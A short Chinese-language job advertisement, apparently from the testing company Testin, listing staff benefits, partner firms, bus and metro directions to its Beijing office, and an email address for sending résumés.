★试用期五险一金★午餐补贴★生日会★定期团建★每年体检
★外出旅游★节日福利★期权奖励★年底奖金
★办公环境宽敞明亮★办公时间有弹性★健身休闲区随时开发★美女如云★领导nice
★扁平化企业管理，开放透明的文化氛围
只有你想不到，没有我们做不到！
小伙伴：
阿里云，360，IBM，友盟，微软，联想，天翼云，触控，机锋，上方网，芒果
工作地点：
●乘坐公交车可至酒仙桥商场站下车，途经公交车有（401路、402路、413路、445路、494路、503路、621路、659路、677路、701路、946路、988路、运通107线）
乘坐地铁可至14号线东风北桥站，C2东南门出口。
简历请投 xiwang@testin.cn
